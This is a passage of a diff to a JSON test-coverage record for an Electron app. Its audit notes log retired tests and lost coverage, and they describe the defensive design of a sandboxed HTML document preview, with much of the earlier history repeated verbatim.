Audit1895: workspace-doc-history.test.ts is entirely removed from its current command and testFiles. Supplied recency/dedupe/cap/title/identity examples and the10000-row getter-read budget alarm are intentionally lost. No current assertionRef or active receipt selects that file. Unrelated active receipts and all prior gap literals remain verbatim; no replacement history/index-work coverage or new browser/paired-preview gate execution is claimed. Historical coverage account before Audit1899: Audit1853 reduces LinkActionPopover.test.tsx and archives its complete 2026-09-06 mixed-selector receipt. The lost copy/open-state and Settings callback-order/omission alarms are accepted without equivalent replacement coverage. No fresh execution of this gate is credited. Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1687 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1630 removes low-value Git, GitHub/GitLab and IPC projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1571 removes mock forwarding, capability/schema inventories, private predicates, supplied error/result replays, and filesystem-mocked persistence checks without equivalent replacement claims. Retained changed tests also exercise real local permission-file reread, registry proxy rollback/credential retirement, site display recovery, and pending sender/credential/document admission with injected Electron/UI producers. Retained network tests exercise owned stream credit/cleanup, generation and retirement fences, real loopback proxy/SOCKS bytes and file-backed binding state. SSH/WSL/paired runtime, native sessions, authority producers and storage clears remain injected; simulated relaunch uses filesystem mocks. The unchanged profile-retirement suite was statically reviewed and not rerun. No actual SSH/WSL runtime, native Chromium jar deletion, durable process restart, remote DNS or external site proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1568 removes API inventories, supplied mock-value/forwarding assertions, implementation-shape tables and negative/setup cases that do not reach their intended boundary, without equivalent replacement claims. Retained changed definitions exercise owned manager lifetime/queue/refcount/clamp and real synthetic process/files/staging boundaries. Seventeen unchanged native Electron definitions across this combined audit are statically reviewed and not rerun. Changed native suites exercise local popup wire/cookie/session and clean/native process-identity behavior; known popup-admission flaws remain unfixed. Unit native/event/session/registry inputs remain injected. No actual OS focus, registry/host execution, CRX verification or durable restart proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1564 retires copied cookie key recipes, mock bridge/preview forwarding and flag tables, source-spelling/script inventories and setup-only alarms without equivalent replacement coverage. Retained changed cases exercise actual scoped SQLite merge/rollback/schema refusal, owned cancellation and grant authority/canonical containment, ranged response consistency, replacement guest ownership and executed guest-script promise/DOM cleanup behavior. Session, host response, geometry/observer and transport producers remain injected where documented. One unchanged native extension definition is not rerun locally; no actual remote filesystem, native layout/focus or authentication claim. Receipts selecting modified tests are retired; unaffected exact-selector receipts remain unchanged. Historical scope before this audit: Audit1412 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1386 changes referenced sources; no new execution result validates reduced selectors. Retained unchanged receipts apply only to unchanged commands. Historical coverage: Audit1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): A macOS desktop host and a separate paired Electron client exercise the Explorer preview action end to end: the document renders inside the client-local orca-preview guest, the client gains exactly one browser workspace and it is the document one, the host's own page registry and tab snapshot gain nothing, the split does not take focus from the source editor, an explicit click activates the preview, and closing it with its X leaves the editor and terminal intact. Both host oracles are read in a run where an ordinary URL browser tab from the same client does arrive in them, because a host that cannot project browser pages at all would otherwise answer the absence question the same way. A second journey quits that client with a document tab open and relaunches it on the same profile, which is the restore the user's original report turned on: the same workspace row comes back blank and named by the document, renders again, and does so over a grant URL that differs from the one that was quit. The same journey pins the guest URL to the orca-preview scheme, so a regression back to file:// or to a host browser page is visible. The rewritten journey caught a live gap the old one could not see: since previews became browser pages they had no chrome to hand focus to their guest, so main refused every reported link click as coming from an unfocused guest and the one route out of a preview was dead. Main's own log answered it — registered true, grant live, focused false — after the embedder reported the anchor really taking six real presses. The pane now hands focus over when it is the reader's surface, and the journey routes. The preview's own components moved out of the editor folder into browser-pane/workspace-doc/ with this change, since a preview is a browser pane and no longer an editor one; their i18n keys keep the historical auto.components.editor.HtmlDocPreview prefix rather than dropping thirty translated strings across four locales for a tidier key path. Seven gate commands named those files by their old paths and were re-issued at the new ones, and the nine dated runs behind them were retired rather than left naming files that are no longer there, on the same principle this gate already applied twice: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. Each retired record's finding is carried into the replacement run recorded below it, including the red half of the entry/subresource pair, which was re-measured by re-applying its mutant at the new path rather than being dropped. The fence over the page-management channels was decided channel by channel before it was built, and that decision record is: of the 23 channels that can name a page, 6 are allowed for a workspace-document page — the tool channels the reader drives, which reach it through the one authority that reads both halves of the registry — 9 refuse (download accept and cancel, devtools, certificate proceed, client page metadata publish, viewport override, WebAuthn account response, registration probe, registration repair), 3 cannot name a page at all because they take a profile or a worktree instead, and the rest are the registration and activation doors, refused on membership. What shipped is not the per-channel guard that classification implies: eleven call sites read the browsing map directly, so a guard per channel is exactly the caller-flag seam that has to be remembered at every future call site. The registry was split in two instead, which makes the classification structural — a document guest is absent from the browsing map, so every refusing channel refuses by absence rather than by a guard, and a channel added later inherits the refusal without being classified at all. Unit contracts cover grant scoping and path containment, per-owner read routing, refusal of a truncated or over-cap read, the old-server binary degradation, scheme admission on will-attach-webview, the guest navigation policy, the plan layer's local/SSH/paired/out-of-worktree routing, and the distinct sentence the reader sees for each failure reason. The paired browser-creation surfaces this gate still owns — capability rejection cleanup, canonical page identity, reconciliation rollback, close convergence — keep their existing headed and headless journeys. Linux and Windows live journeys remain gaps. A refused subresource is a notice on a rendered document rather than a failure panel, since only the entry document's failure leaves the reader with nothing; the entry document is served as text by every owner and cannot be refused for its format at all. Grants die with the renderer document that minted them, at window creation and on every reload, because the renderer holds the only record of which preview owns which grant. The mint and revoke channels answer only the trusted renderer, and a preview tab is never republished to mobile clients, which have no grant to read it with. External URLs leave the preview only via a trusted user click on an anchor while the preview is focused; script-driven navigation and popups reach nothing. The guest's navigation sinks are deny-only and route no URL at all, and the guest carries a preview-only preload, pinned by will-attach-webview and denied to every other attach path, whose capture-phase click handler reports an anchor's URL to main; main answers only a report from a preview guest with a live bound grant that is the focused contents, and only for http(s). Two earlier reader-facing records from 2026-08-26, which measured a shape where a subresource failure was filtered out and the panel still carried an unsupported-asset sentence, were retired with that shape rather than left contradicting the 10/10 runs of the command they share. Two more were retired on the same principle when the external-link design changed: a record showing that removing a recent-input gate let the unattended document open two browser tabs, and a record showing that dropping the webview's allowpopups attribute left a target=_blank press with nothing to route. Both measured machinery that no longer exists — the input gate could not tell a script's navigation from the click it followed, which is the case now recorded below, and the preload intercepts the press before Chromium considers a popup at all, so allowpopups was removed. WebRTC is fenced by the guest's IP-handling policy alone: this Chromium answers a webrtc content-security-policy directive as unrecognized and gathers candidates anyway, so the directive is deliberately absent from the served policy and a unit assertion keeps it out. A standalone Electron probe on the same version gathered 7 candidates including a STUN reflexive one without the policy and 0 with it. Two command paths this gate used to carry no longer exist, and their structured evidence was retired with them rather than left naming files that are no longer there: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. The first is src/renderer/src/lib/file-preview-capability-cleanup.test.ts, deleted in STA-5557 when HTML previews stopped creating paired browser tabs: on 2026-08-12 its five-assertion STA-4063 oracle ran red 5/5 on scan e4c278eb52 and on main bc2e30000b, partially green 2/5 on pre-fix PR #14100, and green 5/5 on candidate 14b5877a75; the surviving half of that oracle is web-runtime-browser-capability-cleanup.test.ts, still commanded above. The second is tests/e2e/paired-remote-html-browser-focus.spec.ts, renamed in STA-5557 to paired-remote-html-preview-local-render.spec.ts because the journey no longer proves anything about browser focus: its 2026-08-12 runs established the owning-runtime routing and no-focus-steal behavior of the then-current browser-tab preview (red on main 346e59c879 and a90a18d43d, green on candidates d05217c40d and b7de9c0961, red again with only the side-preview focus or routing seam disabled), and its 2026-08-26 runs are recorded below under the current path. An adversarial pass after the journey landed found four coverage gaps rather than shipping defects, and all four are pinned here. The page url had a third door: the navigation commit wrote whatever url was reported, unfenced, and while nothing reaches it for a document page today it sat one report away from giving a document page a URL that persistence, the publish boundary and the address bar all read. The group projection was the load-bearing half of the mobile publish boundary that no test had: removing it alone left the whole suite green, because no test in it had tab groups, while the phone payload gained a group whose order and active tab named a document tab it was never sent. The focus handoff was covered only in the narrowing direction, so widening it — dropping the page-activity check, or either half of the reader-surface check — survived both suites. And the handoff itself was offered once and never again, so another app taking the front left the preview's one route out shut until the pane remounted, which is a desktop gap rather than a test-only one. The standalone capability-cleanup and browser-placement ledger suites were removed, including their mixed-version rejection, cleanup transfer, capacity and partition alarms. web-runtime-session.test.ts no longer supplies browser creation, rollback or recovery assertions. The grouped workspace-document exclusion remains; the separate no-group publication example was removed. Existing live/browser-store evidence does not establish equivalent replacement alarms. Earlier descriptions of the removed fixtures and their run results are historical. The client-owned-placement and layout-groups suites are removed. The broad mirror fixture no longer supplies preview placement/reservation/move assertions. Browser rows retain pre-response replay and real local-workspace reuse; focus intent retains response ordering and exact-leaf sibling ordering. Supplied browser-layout and placement/focus projection alarms are lost; retained evidence is narrower and not equivalent. The test-value audit retires renderer grant-release mock ledgers, direct creation/title/session-field copies, notification/onboarding calls and several placement/per-page projections. Canonical-ID rejection, document reopen/restore and preview URL fences remain; they do not prove close-to-registry revocation or replace every lost alarm. Historical execution evidence is unchanged. The test-value audit removed the direct legacy editor-preview hydration example from tabs-hydration.test.ts. Dropping legacy preview chrome while preserving the same-document ordinary editor no longer has that alarm. The surviving corrupt-id deduplication case does not cover that migration, and retained preview journeys are not equivalent replacement coverage. Historical run counts and migration mutation findings describe the earlier suite. Audit1308: src/renderer/src/components/editor/EditorPanelShell.header.test.tsx removed. Header visibility and mocked editor-surface inventory alarms disappear. No equivalent replacement coverage is claimed. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1386: src/renderer/src/lib/doc-preview-grants.test.ts reduced. Repeated-mount mint count, ordinary release/remint and failed-mint cache retry standalone alarms removed; no actual grant server/access test. No equivalent replacement coverage is claimed. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/browser/guest-lifecycle/manager/browser-manager-guest-policy-profile.test.ts removed. Loses workspace-document in-grant navigation/popup refusal, cleanup/re-attach, cross-registry guest authorization and browsing-map separation alarms. No equivalent browser policy coverage is claimed. No equivalent replacement coverage is claimed. Audit1421 removes browser-address-bar-suggestions.test.ts. Document suggestion title/path matching, recency merging and path-prefix ranking alarms are lost. No equivalent replacement coverage is claimed. Historical receipts remain scoped to unchanged selectors; the reduced command has no new execution result. Audit2452 removes the whole fake-effect browser-close routing suite. Active selectors and assertion references no longer select it. Its requested-worktree default close, sibling-page close and explicit missing-page typed reply alarms are intentionally retired without equivalent replacement. Prior dated receipts remain unchanged and scoped to their original sources; no fresh execution of the reduced gate, rendered browser, live remote, mobile or cross-platform validation is claimed.",
+      "coverageNotes": "Audit3342 retires the complete mobile editor/diff tab-publication projection suite: editor/diff serialization, workspace-document privacy withholding, pending/focus and capability/options projections are intentionally lost without equivalent replacement. The surviving focused selectors are unexecuted in this source composition. Six complete compound macOS receipts whose command fields select the changed source are retired verbatim as history; their other selected tests receive no promoted evidence. Other dated receipts keep their original scope; no fresh runtime/UI/mobile/mixed-version or cross-platform validation is claimed. Audit3335 retires the complete three-case browser-tabs snapshot assembly suite: canonical snapshot replay/placement/focus, local host-page adoption and unstamped host echo leaving a local page untouched alarms are intentionally lost without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/network, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit3108: doc-preview-grants.test.ts now retains only the stale grant-rejection race: a late rejected grant request must not evict a newer grant registry entry, witnessed by later revocation of grant-2. Retire stable minted-location and outside-workspace POSIX/Windows request-projection alarms without replacement. The direct nonempty grant selector remains unchanged; no real grant-server/file authorization, SSH/HTML delivery or native-focus result is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2043: Remove the registration-wait, webview-security, preview-authorization, guest-lifecycle and grant-IPC unit suites and the sibling-directory assertion reference. Runtime and browser capability consumers also lose removed imported examples. Remaining document-policy, file-reader and grant-registry assertions do not replace those alarms. Preserve the 27 independent dated receipts at their original unchanged selectors; reduced prospective unit selectors have no fresh result or equivalent replacement claim. Historical prior account (preserved verbatim): Audit1973: Delete the browser RPC forwarding/schema/scalar suite and its prospective selector. Preserve all27 unrelated dated receipts; no actual browser operation alarm is replaced. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): The complete terminal-file-link-actions suite is removed. Lose supplied local/remote menu-row inventories, browser label/order/download/reveal callback forwarding, platform-copy and source-group pinning examples. No OS reveal/download, real remote preview or browser navigation was exercised; the other real document-preview sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1899 replays sealed Audit1895: workspace-doc-history.test.ts is entirely removed from its current command and testFiles. Supplied recency/dedupe/cap/title/identity examples and the10000-row getter-read budget alarm are intentionally lost. No current assertionRef or active receipt selects that file. Unrelated active receipts and all prior gap literals remain verbatim; no replacement history/index-work coverage or new browser/paired-preview gate execution is claimed. Historical coverage account before Audit1899: Audit1853 reduces LinkActionPopover.test.tsx and archives its complete 2026-09-06 mixed-selector receipt. The lost copy/open-state and Settings callback-order/omission alarms are accepted without equivalent replacement coverage. No fresh execution of this gate is credited. Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1687 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1630 removes low-value Git, GitHub/GitLab and IPC projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1571 removes mock forwarding, capability/schema inventories, private predicates, supplied error/result replays, and filesystem-mocked persistence checks without equivalent replacement claims. Retained changed tests also exercise real local permission-file reread, registry proxy rollback/credential retirement, site display recovery, and pending sender/credential/document admission with injected Electron/UI producers. Retained network tests exercise owned stream credit/cleanup, generation and retirement fences, real loopback proxy/SOCKS bytes and file-backed binding state. SSH/WSL/paired runtime, native sessions, authority producers and storage clears remain injected; simulated relaunch uses filesystem mocks. The unchanged profile-retirement suite was statically reviewed and not rerun. No actual SSH/WSL runtime, native Chromium jar deletion, durable process restart, remote DNS or external site proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1568 removes API inventories, supplied mock-value/forwarding assertions, implementation-shape tables and negative/setup cases that do not reach their intended boundary, without equivalent replacement claims. Retained changed definitions exercise owned manager lifetime/queue/refcount/clamp and real synthetic process/files/staging boundaries. Seventeen unchanged native Electron definitions across this combined audit are statically reviewed and not rerun. Changed native suites exercise local popup wire/cookie/session and clean/native process-identity behavior; known popup-admission flaws remain unfixed. Unit native/event/session/registry inputs remain injected. No actual OS focus, registry/host execution, CRX verification or durable restart proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1564 retires copied cookie key recipes, mock bridge/preview forwarding and flag tables, source-spelling/script inventories and setup-only alarms without equivalent replacement coverage. Retained changed cases exercise actual scoped SQLite merge/rollback/schema refusal, owned cancellation and grant authority/canonical containment, ranged response consistency, replacement guest ownership and executed guest-script promise/DOM cleanup behavior. Session, host response, geometry/observer and transport producers remain injected where documented. One unchanged native extension definition is not rerun locally; no actual remote filesystem, native layout/focus or authentication claim. Receipts selecting modified tests are retired; unaffected exact-selector receipts remain unchanged. Historical scope before this audit: Audit1412 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1386 changes referenced sources; no new execution result validates reduced selectors. Retained unchanged receipts apply only to unchanged commands. Historical coverage: Audit1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): A macOS desktop host and a separate paired Electron client exercise the Explorer preview action end to end: the document renders inside the client-local orca-preview guest, the client gains exactly one browser workspace and it is the document one, the host's own page registry and tab snapshot gain nothing, the split does not take focus from the source editor, an explicit click activates the preview, and closing it with its X leaves the editor and terminal intact. Both host oracles are read in a run where an ordinary URL browser tab from the same client does arrive in them, because a host that cannot project browser pages at all would otherwise answer the absence question the same way. A second journey quits that client with a document tab open and relaunches it on the same profile, which is the restore the user's original report turned on: the same workspace row comes back blank and named by the document, renders again, and does so over a grant URL that differs from the one that was quit. The same journey pins the guest URL to the orca-preview scheme, so a regression back to file:// or to a host browser page is visible. The rewritten journey caught a live gap the old one could not see: since previews became browser pages they had no chrome to hand focus to their guest, so main refused every reported link click as coming from an unfocused guest and the one route out of a preview was dead. Main's own log answered it — registered true, grant live, focused false — after the embedder reported the anchor really taking six real presses. The pane now hands focus over when it is the reader's surface, and the journey routes. The preview's own components moved out of the editor folder into browser-pane/workspace-doc/ with this change, since a preview is a browser pane and no longer an editor one; their i18n keys keep the historical auto.components.editor.HtmlDocPreview prefix rather than dropping thirty translated strings across four locales for a tidier key path. Seven gate commands named those files by their old paths and were re-issued at the new ones, and the nine dated runs behind them were retired rather than left naming files that are no longer there, on the same principle this gate already applied twice: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. Each retired record's finding is carried into the replacement run recorded below it, including the red half of the entry/subresource pair, which was re-measured by re-applying its mutant at the new path rather than being dropped. The fence over the page-management channels was decided channel by channel before it was built, and that decision record is: of the 23 channels that can name a page, 6 are allowed for a workspace-document page — the tool channels the reader drives, which reach it through the one authority that reads both halves of the registry — 9 refuse (download accept and cancel, devtools, certificate proceed, client page metadata publish, viewport override, WebAuthn account response, registration probe, registration repair), 3 cannot name a page at all because they take a profile or a worktree instead, and the rest are the registration and activation doors, refused on membership. What shipped is not the per-channel guard that classification implies: eleven call sites read the browsing map directly, so a guard per channel is exactly the caller-flag seam that has to be remembered at every future call site. The registry was split in two instead, which makes the classification structural — a document guest is absent from the browsing map, so every refusing channel refuses by absence rather than by a guard, and a channel added later inherits the refusal without being classified at all. Unit contracts cover grant scoping and path containment, per-owner read routing, refusal of a truncated or over-cap read, the old-server binary degradation, scheme admission on will-attach-webview, the guest navigation policy, the plan layer's local/SSH/paired/out-of-worktree routing, and the distinct sentence the reader sees for each failure reason. The paired browser-creation surfaces this gate still owns — capability rejection cleanup, canonical page identity, reconciliation rollback, close convergence — keep their existing headed and headless journeys. Linux and Windows live journeys remain gaps. A refused subresource is a notice on a rendered document rather than a failure panel, since only the entry document's failure leaves the reader with nothing; the entry document is served as text by every owner and cannot be refused for its format at all. Grants die with the renderer document that minted them, at window creation and on every reload, because the renderer holds the only record of which preview owns which grant. The mint and revoke channels answer only the trusted renderer, and a preview tab is never republished to mobile clients, which have no grant to read it with. External URLs leave the preview only via a trusted user click on an anchor while the preview is focused; script-driven navigation and popups reach nothing. The guest's navigation sinks are deny-only and route no URL at all, and the guest carries a preview-only preload, pinned by will-attach-webview and denied to every other attach path, whose capture-phase click handler reports an anchor's URL to main; main answers only a report from a preview guest with a live bound grant that is the focused contents, and only for http(s). Two earlier reader-facing records from 2026-08-26, which measured a shape where a subresource failure was filtered out and the panel still carried an unsupported-asset sentence, were retired with that shape rather than left contradicting the 10/10 runs of the command they share. Two more were retired on the same principle when the external-link design changed: a record showing that removing a recent-input gate let the unattended document open two browser tabs, and a record showing that dropping the webview's allowpopups attribute left a target=_blank press with nothing to route. Both measured machinery that no longer exists — the input gate could not tell a script's navigation from the click it followed, which is the case now recorded below, and the preload intercepts the press before Chromium considers a popup at all, so allowpopups was removed. WebRTC is fenced by the guest's IP-handling policy alone: this Chromium answers a webrtc content-security-policy directive as unrecognized and gathers candidates anyway, so the directive is deliberately absent from the served policy and a unit assertion keeps it out. A standalone Electron probe on the same version gathered 7 candidates including a STUN reflexive one without the policy and 0 with it. Two command paths this gate used to carry no longer exist, and their structured evidence was retired with them rather than left naming files that are no longer there: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. The first is src/renderer/src/lib/file-preview-capability-cleanup.test.ts, deleted in STA-5557 when HTML previews stopped creating paired browser tabs: on 2026-08-12 its five-assertion STA-4063 oracle ran red 5/5 on scan e4c278eb52 and on main bc2e30000b, partially green 2/5 on pre-fix PR #14100, and green 5/5 on candidate 14b5877a75; the surviving half of that oracle is web-runtime-browser-capability-cleanup.test.ts, still commanded above. The second is tests/e2e/paired-remote-html-browser-focus.spec.ts, renamed in STA-5557 to paired-remote-html-preview-local-render.spec.ts because the journey no longer proves anything about browser focus: its 2026-08-12 runs established the owning-runtime routing and no-focus-steal behavior of the then-current browser-tab preview (red on main 346e59c879 and a90a18d43d, green on candidates d05217c40d and b7de9c0961, red again with only the side-preview focus or routing seam disabled), and its 2026-08-26 runs are recorded below under the current path. An adversarial pass after the journey landed found four coverage gaps rather than shipping defects, and all four are pinned here. The page url had a third door: the navigation commit wrote whatever url was reported, unfenced, and while nothing reaches it for a document page today it sat one report away from giving a document page a URL that persistence, the publish boundary and the address bar all read. The group projection was the load-bearing half of the mobile publish boundary that no test had: removing it alone left the whole suite green, because no test in it had tab groups, while the phone payload gained a group whose order and active tab named a document tab it was never sent. The focus handoff was covered only in the narrowing direction, so widening it — dropping the page-activity check, or either half of the reader-surface check — survived both suites. And the handoff itself was offered once and never again, so another app taking the front left the preview's one route out shut until the pane remounted, which is a desktop gap rather than a test-only one. The standalone capability-cleanup and browser-placement ledger suites were removed, including their mixed-version rejection, cleanup transfer, capacity and partition alarms. web-runtime-session.test.ts no longer supplies browser creation, rollback or recovery assertions. The grouped workspace-document exclusion remains; the separate no-group publication example was removed. Existing live/browser-store evidence does not establish equivalent replacement alarms. Earlier descriptions of the removed fixtures and their run results are historical. The client-owned-placement and layout-groups suites are removed. The broad mirror fixture no longer supplies preview placement/reservation/move assertions. Browser rows retain pre-response replay and real local-workspace reuse; focus intent retains response ordering and exact-leaf sibling ordering. Supplied browser-layout and placement/focus projection alarms are lost; retained evidence is narrower and not equivalent. The test-value audit retires renderer grant-release mock ledgers, direct creation/title/session-field copies, notification/onboarding calls and several placement/per-page projections. Canonical-ID rejection, document reopen/restore and preview URL fences remain; they do not prove close-to-registry revocation or replace every lost alarm. Historical execution evidence is unchanged. The test-value audit removed the direct legacy editor-preview hydration example from tabs-hydration.test.ts. Dropping legacy preview chrome while preserving the same-document ordinary editor no longer has that alarm. The surviving corrupt-id deduplication case does not cover that migration, and retained preview journeys are not equivalent replacement coverage. Historical run counts and migration mutation findings describe the earlier suite. Audit1308: src/renderer/src/components/editor/EditorPanelShell.header.test.tsx removed. Header visibility and mocked editor-surface inventory alarms disappear. No equivalent replacement coverage is claimed. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1386: src/renderer/src/lib/doc-preview-grants.test.ts reduced. Repeated-mount mint count, ordinary release/remint and failed-mint cache retry standalone alarms removed; no actual grant server/access test. No equivalent replacement coverage is claimed. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/browser/guest-lifecycle/manager/browser-manager-guest-policy-profile.test.ts removed. Loses workspace-document in-grant navigation/popup refusal, cleanup/re-attach, cross-registry guest authorization and browsing-map separation alarms. No equivalent browser policy coverage is claimed. No equivalent replacement coverage is claimed. Audit1421 removes browser-address-bar-suggestions.test.ts. Document suggestion title/path matching, recency merging and path-prefix ranking alarms are lost. No equivalent replacement coverage is claimed. Historical receipts remain scoped to unchanged selectors; the reduced command has no new execution result. Audit2452 removes the whole fake-effect browser-close routing suite. Active selectors and assertion references no longer select it. Its requested-worktree default close, sibling-page close and explicit missing-page typed reply alarms are intentionally retired without equivalent replacement. Prior dated receipts remain unchanged and scoped to their original sources; no fresh execution of the reduced gate, rendered browser, live remote, mobile or cross-platform validation is claimed.",
       "motivatingLinks": [
         "https://linear.app/stably/issue/STA-5557/remote-html-preview-render-workspace-files-locally-over-the-file",
         "https://linear.app/stably/issue/STA-3872/unable-to-open-html-files-in-remote-server",
@@ -4435,20 +4360,20 @@
         "https://github.com/stablyai/orca/pull/13876"
       ],
